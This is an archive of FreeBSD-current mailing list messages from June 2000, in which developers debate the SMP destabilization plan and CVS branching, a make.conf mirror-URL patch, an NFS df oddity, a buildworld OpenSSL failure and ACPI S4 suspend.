jlemon@flugsvamp.com) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.9.3/8.9.3) id PAA87914; Tue, 20 Jun 2000 15:36:17 -0500 (CDT) (envelope-from jlemon) Date: Tue, 20 Jun 2000 15:36:17 -0500 (CDT) From: Jonathan Lemon Message-Id: <200006202036.PAA87914@prism.flugsvamp.com> To: phk@critter.freebsd.dk, current@freebsd.org Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) X-Newsgroups: local.mail.freebsd-current In-Reply-To: References: Organization: Cc: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article you write: > >Am I the only person who miss a brief document which tells what >the outcome of the meeting was ? I believe that Jason Evans already sent a message summarizing the meeting, and Matt Dillon's webpage gives a pretty good summary of the work too (at http://apollo.backplane.com/FreeBSDSmp/) >Can we get to see the slides ? Chuck Patterson presented a bunch of slides (which was actually a .ps file that displayed page by page in gv), so perhaps he could be persuaded to make the entire postscript file available somewhere. >Audio ? Video ? After several mishaps, I believe that Greg finally got a video camera up and running for most of the session. I think that it was in PAL format as well. Greg has the tapes, so I assume that after he's done with USENIX, he'll have them available. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 13:38:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 7999037BFB9 for ; Tue, 20 Jun 2000 13:38:07 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA55766; Tue, 20 Jun 2000 22:37:44 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Brian Somers Cc: Matthew Dillon , Warner Losh , Jason Evans , current@FreeBSD.ORG, brian@hak.lan.Awfulhak.org Subject: Re: HEADS UP: Destabilization due to SMP development In-reply-to: Your message of "Tue, 20 Jun 2000 21:15:27 BST." <200006202015.VAA66308@hak.lan.Awfulhak.org> Date: Tue, 20 Jun 2000 22:37:44 +0200 Message-ID: <55764.961533464@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006202015.VAA66308@hak.lan.Awfulhak.org>, Brian Somers writes: >What about doing the changes on a branch with the understanding that >the branch will *replace* HEAD when it stabilises ? "CVS branches suck" is the reason I belive. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 14: 0:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id C1C9A37B553 for ; Tue, 20 Jun 2000 14:00:07 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA55971; Tue, 20 Jun 2000 22:59:35 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Jonathan Lemon Cc: current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) In-reply-to: Your message of "Tue, 20 Jun 2000 15:36:17 CDT." <200006202036.PAA87914@prism.flugsvamp.com> Date: Tue, 20 Jun 2000 22:59:35 +0200 Message-ID: <55969.961534775@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006202036.PAA87914@prism.flugsvamp.com>, Jonathan Lemon writes: >In article you write: >> >>Am I the only person who miss a brief document which tells what >>the outcome of the meeting was ? > >I believe that Jason Evans already sent a message summarizing the >meeting, and Matt Dillon's webpage gives a pretty good summary of >the work too (at http://apollo.backplane.com/FreeBSDSmp/) But we're not looking for a summary of the meeting, we're looking for all the gory details... -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 14:26:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from server1.mich.com (server1.mich.com [198.108.16.2]) by hub.freebsd.org (Postfix) with ESMTP id 3C28D37BFDC; Tue, 20 Jun 2000 14:26:40 -0700 (PDT) (envelope-from will@almanac.yi.org) Received: from argon.gryphonsoft.com (pm016-021.dialup.bignet.net [64.79.82.229]) by server1.mich.com (8.9.3/8.9.3) with ESMTP id RAA09278; Tue, 20 Jun 2000 17:26:37 -0400 Received: by argon.gryphonsoft.com (Postfix, from userid 1000) id BE573188D; Tue, 20 Jun 2000 17:25:02 -0400 (EDT) Date: Tue, 20 Jun 2000 17:25:02 -0400 From: Will Andrews To: FreeBSD Current , FreeBSD Ports Subject: make.conf fix Message-ID: <20000620172502.C34982@argon.gryphonsoft.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="0OAP2g/MAC+5xKAE" X-Mailer: Mutt 1.0.1i X-Operating-System: FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --0OAP2g/MAC+5xKAE Content-Type: text/plain; charset=us-ascii Hi -current and -ports, I've noticed something that seems to have been broken for a long time. In etc/defaults/make.conf we have several MASTER_SITE_* variables which reference "%SUBDIR%". However, these variables do not work as expected. So we must fix this discrepancy with the following patch. Comments? -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? --0OAP2g/MAC+5xKAE Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="make.conf.diff" Index: make.conf =================================================================== RCS file: /extra/cvsroot/src/etc/defaults/make.conf,v retrieving revision 1.110 diff -u -r1.110 make.conf --- make.conf 2000/06/17 10:51:47 1.110 +++ make.conf 2000/06/20 21:20:45 @@ -184,22 +184,22 @@ # Some ports use a special variable to point to a collection of # mirrors of well-known software archives. If you have a mirror close # to you, uncomment any of the following lines and change it to that -# address. (Don't remove the "/%SUBDIR%/" part.) +# address. (Don't remove the "/${MASTER_SITE_SUBDIR}/" part.) # # Note: the right hand sides of the following lines are only for your # information. For a full list of default sites, take a look at # bsd.port.mk. # -#MASTER_SITE_XCONTRIB= ftp://ftp.x.org/contrib/%SUBDIR%/ -#MASTER_SITE_GNU= ftp://prep.ai.mit.edu/pub/gnu/%SUBDIR%/ -#MASTER_SITE_PERL_CPAN= ftp://ftp.digital.com/pub/plan/perl/CPAN/modules/by-module/%SUBDIR%/ -#MASTER_SITE_TEX_CTAN= ftp://ftp.tex.ac.uk/tex-archive/%SUBDIR%/ -#MASTER_SITE_SUNSITE= ftp://metalab.unc.edu/pub/Linux/%SUBDIR%/ -#MASTER_SITE_KDE= ftp://ftp.kde.org/pub/kde/%SUBDIR%/ -#MASTER_SITE_COMP_SOURCES= ftp://gatekeeper.dec.com/pub/usenet/comp.sources.%SUBDIR%/ -#MASTER_SITE_GNOME= ftp://ftp.gnome.org/pub/GNOME/sources/%SUBDIR%/ -#MASTER_SITE_AFTERSTEP= ftp://ftp.afterstep.org/%SUBDIR%/ -#MASTER_SITE_WINDOWMAKER= ftp://ftp.windowmaker.org/pub/%SUBDIR%/ +#MASTER_SITE_XCONTRIB= ftp://ftp.x.org/contrib/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_GNU= ftp://prep.ai.mit.edu/pub/gnu/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_PERL_CPAN= ftp://ftp.digital.com/pub/plan/perl/CPAN/modules/by-module/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_TEX_CTAN= ftp://ftp.tex.ac.uk/tex-archive/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_SUNSITE= ftp://metalab.unc.edu/pub/Linux/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_KDE= ftp://ftp.kde.org/pub/kde/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_COMP_SOURCES= ftp://gatekeeper.dec.com/pub/usenet/comp.sources.${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_GNOME= ftp://ftp.gnome.org/pub/GNOME/sources/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_AFTERSTEP= ftp://ftp.afterstep.org/${MASTER_SITE_SUBDIR}/ +#MASTER_SITE_WINDOWMAKER= ftp://ftp.windowmaker.org/pub/${MASTER_SITE_SUBDIR}/ # # # Kerberos IV --0OAP2g/MAC+5xKAE-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 14:44:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from smtp1.vnet.net (smtp1.vnet.net [166.82.1.31]) by hub.freebsd.org (Postfix) with ESMTP id 2A31737BD30 for ; Tue, 20 Jun 2000 14:44:16 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp1.vnet.net (8.10.1/8.10.1) with ESMTP id e5KLh3111551; Tue, 20 Jun 2000 17:43:03 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id RAA17597; Tue, 20 Jun 2000 17:43:01 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id RAA84269; Tue, 20 Jun 2000 17:43:00 -0400 (EDT) Date: Tue, 20 Jun 2000 17:43:00 -0400 (EDT) From: Thomas David Rivers Message-Id: <200006202143.RAA84269@lakes.dignus.com> To: brian@Awfulhak.org, dillon@apollo.backplane.com Subject: Re: HEADS UP: Destabilization due to SMP development Cc: brian@hak.lan.Awfulhak.org, current@FreeBSD.ORG, imp@village.org, jasone@canonware.com In-Reply-To: <200006202015.VAA66308@hak.lan.Awfulhak.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > What about doing the changes on a branch with the understanding that > the branch will *replace* HEAD when it stabilises ? > > This sounds odd at first glance, but it means that others are forced > to MFC into the smp branch - if they don't they lose. > > Anybody that's not confident to be able to merge into the smp branch > will simply be in the same position - merge or hold off. They'd also > be just as likely to break the smp work with their commits as if the > smp work was done in HEAD. > Isn't this the same thing as breaking the head and keeping every thing else (that is the pre-broken 5.0) on a branch... Just sorta rotating the tree a little... And, isn't this the same idea as -stable? If that's all true - I'd suggest that those who really want stability might be better served with the -stable branch for the interim. If you need a totally-brand-new-feature, then MFC that to -stable and get it there... The point of -current is to be breakable - the extent of the breaking isn't known ahead of time. -current can be broken for a long time by simply breaking several small things - say, one a day for several months. The difference here seems to be the forethought in the announcement; which I take as good planning... i.e. instead of being broken for some unknown reasons, we're simply saying that we know it's broken... If you can't live with a broken situation, then I humbly suggest staying with -stable. I suppose I can sum this up with "isn't this already handled?" - Dave Rivers - -- rivers@dignus.com Work: (919) 676-0847 Get your mainframe (370) `C' compiler at http://www.dignus.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 14:48:31 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id DED1E37BFFB for ; Tue, 20 Jun 2000 14:48:26 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9D38A2.dip0.t-ipconnect.de [62.157.56.162]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id XAA32396 for ; Tue, 20 Jun 2000 23:47:59 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 2977BAD00 for ; Tue, 20 Jun 2000 23:48:58 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id ACBDB14A69; Tue, 20 Jun 2000 23:48:25 +0200 (CEST) Date: Tue, 20 Jun 2000 23:48:25 +0200 From: Alexander Langer To: current@freebsd.org Subject: mount_nfs/df bug? Message-ID: <20000620234825.A31951@cichlids.cichlids.com> Mail-Followup-To: current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! Today I wanted to add a new NFS to my /etc/fstab, but forgot to add it to /etc/exports on the server. However, I did mount -a several times and always got a "Permission denied" for the last one. Now look what I have here: Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad2a 396895 291904 73240 80% / /dev/ad2e 5257421 4626154 210674 96% /usr procfs 4 4 0 100% /proc /dev/ad0s1 4224828 3755464 469364 89% /dos neutron:/usr/ports 496367 363448 93210 80% /usr/ports neutron:/usr/ports-distfiles 2482878 1191660 1092588 52% /usr/ports-distfiles neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs neutron:/usr/src 928695 482371 372029 56% /usr/src neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn neutron:/www/docs 297423 168669 104961 62% /www neutron:/usr/doc 2482878 1191660 1092588 52% /usr/doc neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn Cute, isn't it? Not yet discovered why. Alex -- cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 14:51:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 39C1437C020 for ; Tue, 20 Jun 2000 14:51:30 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9D38A2.dip0.t-ipconnect.de [62.157.56.162]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id XAA00766 for ; Tue, 20 Jun 2000 23:51:03 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 560FEAC27 for ; Tue, 20 Jun 2000 23:52:01 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id 4B4CD14A69; Tue, 20 Jun 2000 23:51:29 +0200 (CEST) Date: Tue, 20 Jun 2000 23:51:29 +0200 From: Alexander Langer To: current@FreeBSD.ORG Subject: Re: mount_nfs/df bug? Message-ID: <20000620235129.A32701@cichlids.cichlids.com> Mail-Followup-To: current@FreeBSD.ORG References: <20000620234825.A31951@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000620234825.A31951@cichlids.cichlids.com>; from alex@big.endian.de on Tue, Jun 20, 2000 at 11:48:25PM +0200 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG FreeBSD cichlids.cichlids.com 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Wed Jun 14 22:25:49 CEST 2000 alex@cichlids.cichlids.com:/usr/src/sys/compile/cichlids i386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 15:31:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from oldserver.demon.nl (oldserver.demon.nl [212.238.105.241]) by hub.freebsd.org (Postfix) with ESMTP id 9841937B5C5 for ; Tue, 20 Jun 2000 15:31:45 -0700 (PDT) (envelope-from marc@oldserver.demon.nl) Received: from localhost (localhost [127.0.0.1]) by oldserver.demon.nl (8.9.3/8.9.3) with ESMTP id AAA25451; Wed, 21 Jun 2000 00:31:14 +0200 (CEST) (envelope-from marc@oldserver.demon.nl) Date: Wed, 21 Jun 2000 00:31:14 +0200 (CEST) From: Marc Schneiders X-Sender: marc@unclad.freebeastie.org To: Eric Jacoboni Cc: Sergey Osokin , current@freebsd.org Subject: Re: make buildworld failed... In-Reply-To: <87snu98l62.fsf@titine.fr.eu.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 19 Jun 2000, Eric Jacoboni wrote: > >>>>> "Sergey" == Sergey Osokin writes: > > Sergey> Hello! > Sergey> After CVSuped my source, i try to buildworld and it failed... > > Sergey> ===> libssh > (...) > Sergey> /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory > Sergey> mkdep: compile failed > Sergey> *** Error code 1 > > Sergey> Stop in /usr/src/secure/lib/libssh. > Sergey> *** Error code 1 > [...] > > Same for me (fresh cvsup)... From the FAQ : "You can try to config > OpenSSL so as not to use IDEA by using './config no-idea'". But i've > no idea (what's a joke...) on how to do that with 'make buildworld'. > Me too. I would very much appreciate a hint here. Thx! -- Marc Schneiders --- marc@venster.nl --- marc@schneiders.org FreeBSD unclad.freebeastie.org 5.0-CURRENT (SMP) NetBSD vax.freebeastie.org 1.4Y To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 15:38:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by hub.freebsd.org (Postfix) with ESMTP id 67A6237B86E for ; Tue, 20 Jun 2000 15:38:33 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 134Wf7-000Ka7-0X; Tue, 20 Jun 2000 23:38:30 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id XAA74022; Tue, 20 Jun 2000 23:38:55 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id XAA33893; Tue, 20 Jun 2000 23:14:25 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Tue, 20 Jun 2000 23:14:24 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Jason Evans Cc: Warner Losh , FreeBSD CURRENT Mailing List Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <200006201833.MAA70626@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Although I would not like to put it as strongly as Warner does, I would like to ask how the decision makers expect the rest of the project to progress (the other 30 or so kernel committers) in a reasonable, not too time consuming way. Will there be a general mechanism for making patchsets against CURRENT-26-JUNE-2000 available? Will there be moments in time were the tree will be made and kept stable for a week or so for people to insert their fixes. What about xtra tags being laid at certain moments in time? Any schedule for that? Will all the spls in all the drivers be removed and replaced by other mechanisms by the SMP group in the process? This would create a lot of extra work if the code is shared between different source trees, for example between the *BSDs, if the spls/shims will be removed completely. On the side, I would like to suggest that some sort of posting of updates (by you, Jason?) is done on a regular basis (bi-weekly or so) to show progress and to indicate the state of important aspects of the kernel (VM, kernel threads, API's, etc.), so other people have an indication of how reliable the system is and when it would be a reasonable point in time for them to start working their code/fixes back into the tree again. I must say that I find it slightly annoying that this aspect is completely ignored in your initial e-mail and definitely would like to see this addressed properly before any tag goes down and breakage occurs. I can see that everybody is very excited about what is going to happen, but I would like to make sure the rest of us, who will only participate on the side, are not left in the cold for 2 months or so while the basic stuff is being done. In any case, thanks for the work you guys are doing. From what Doug told me there is a lot of really, really cool stuff coming our way. Nick On Tue, 20 Jun 2000, Warner Losh wrote: > In message <20000619115330.D79318@blitz.canonware.com> Jason Evans writes: > : Summary: -current will be destabilized for an extended period (on the order > : of months). A tag (not a branch) will be laid down before the initial > : checkin, and non-developers should either stick closely to that tag until > : the kernel stabilizes, or expect large doses of pain. This tag will be > : laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning > : beforehand. > > Thanks for the fair warning. Now don't do it. Has core approved > this? I don't think so, I've seen nothign from them about it. > > The instability ni -current for MONTHS is pain not acceptible. We've > never really allowed that in the past. A CVS branch would be mcuh > better for this sort of thing. I know that's a pain as well, but this > is just for SMP people and the rest of us shouldn't have to deal with > the pain. > > I understand your desire to have it all in a working tree, but causing > pain for ALL developers for potentially MONTHS isn't a reasonable > request. > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 15:41:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 10D1437B660; Tue, 20 Jun 2000 15:41:17 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA42618; Tue, 20 Jun 2000 16:41:14 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA75308; Tue, 20 Jun 2000 16:39:44 -0600 (MDT) Message-Id: <200006202239.QAA75308@harmony.village.org> To: Mike Smith Subject: Re: ACPI project progress report Cc: "Andrew Reilly" , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Jun 2000 17:40:30 PDT." <200006200040.RAA10386@mass.osd.bsdi.com> References: <200006200040.RAA10386@mass.osd.bsdi.com> Date: Tue, 20 Jun 2000 16:39:44 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006200040.RAA10386@mass.osd.bsdi.com> Mike Smith writes: : The real issue here is persistent system state across the S4 suspend; ie. : leaving applications open, etc. IMO this isn't really something worth a : lot of effort to us, and it has a lot of additional complications for a : "server-class" operating system in that you have to worry about network : connections from other systems, not just _to_ other systems. They why bother supporting laptops at all? FreeBSD is now more than just a server OS. And the network connection issue is a non issue. If the connections are present when we go to sleep, either the connection will time out or it won't. It is no different than yanking out the ethernet cable. Those that time out will get a connection reset when the application comes back when the system wakes from the S4 state. Those that don't won't care since they will just continue working. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 15:42:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id E5B5737B660 for ; Tue, 20 Jun 2000 15:41:45 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.9.3/8.9.3) with ESMTP id XAA12030; Tue, 20 Jun 2000 23:38:27 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id XAA67600; Tue, 20 Jun 2000 23:38:24 +0100 (BST) (envelope-from brian@Awfulhak.org) Message-Id: <200006202238.XAA67600@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Thomas David Rivers Cc: brian@Awfulhak.org, dillon@apollo.backplane.com, current@FreeBSD.ORG, imp@village.org, jasone@canonware.com, brian@hak.lan.awfulhak.org Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: Message from Thomas David Rivers of "Tue, 20 Jun 2000 17:43:00 EDT." <200006202143.RAA84269@lakes.dignus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 20 Jun 2000 23:38:24 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > > What about doing the changes on a branch with the understanding that > > the branch will *replace* HEAD when it stabilises ? > > > > This sounds odd at first glance, but it means that others are forced > > to MFC into the smp branch - if they don't they lose. > > > > Anybody that's not confident to be able to merge into the smp branch > > will simply be in the same position - merge or hold off. They'd also > > be just as likely to break the smp work with their commits as if the > > smp work was done in HEAD. > > > > Isn't this the same thing as breaking the head and keeping every thing > else (that is the pre-broken 5.0) on a branch... > > Just sorta rotating the tree a little... > > And, isn't this the same idea as -stable? > > If that's all true - I'd suggest that those who really want stability > might be better served with the -stable branch for the interim. If you > need a totally-brand-new-feature, then MFC that to -stable and get > it there... [.....] > I suppose I can sum this up with "isn't this already handled?" True, if you run current you've gotta be able to cope with the blood. However, I don't think it's a good idea to have a single project prevent a load of other developers from doing their bits - not if it can be helped. I'm sure SMP is not the only code in -current that's not ready for -stable yet. > - Dave Rivers - > > -- > rivers@dignus.com Work: (919) 676-0847 > Get your mainframe (370) `C' compiler at http://www.dignus.com -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 15:49:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id B35E937BE29 for ; Tue, 20 Jun 2000 15:49:09 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA42669; Tue, 20 Jun 2000 16:49:07 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA75403; Tue, 20 Jun 2000 16:47:37 -0600 (MDT) Message-Id: <200006202247.QAA75403@harmony.village.org> To: Narvi Subject: Re: ACPI project progress report Cc: freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Tue, 20 Jun 2000 20:14:41 +0200." References: Date: Tue, 20 Jun 2000 16:47:37 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Narvi writes: : You obviously haven't considered the ability to be able to near hot-swap : motherboard and cpu - or even RAM - in this way. The ACPI spec specifically states that one cannot disassemble a machine in S4 state and expect the state to be saved on reassembly. Maybe the same sort of mechanism could be used to do this, but then again, maybe night. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 16: 6:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from sr14.nsw-remote.bigpond.net.au (sr14.nsw-remote.bigpond.net.au [24.192.3.29]) by hub.freebsd.org (Postfix) with ESMTP id 9837837B6A8 for ; Tue, 20 Jun 2000 16:06:04 -0700 (PDT) (envelope-from areilly@nsw.bigpond.net.au) Received: from areilly.bpc-users.org (CPE-144-132-171-71.nsw.bigpond.net.au [144.132.171.71]) by sr14.nsw-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id JAA09639 for ; Wed, 21 Jun 2000 09:06:00 +1000 (EST) Received: (qmail 59205 invoked by uid 1000); 20 Jun 2000 23:05:50 -0000 From: "Andrew Reilly" Date: Wed, 21 Jun 2000 09:05:50 +1000 To: Warner Losh Cc: Bjoern Fischer , Mitsuru IWASAKI , acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: 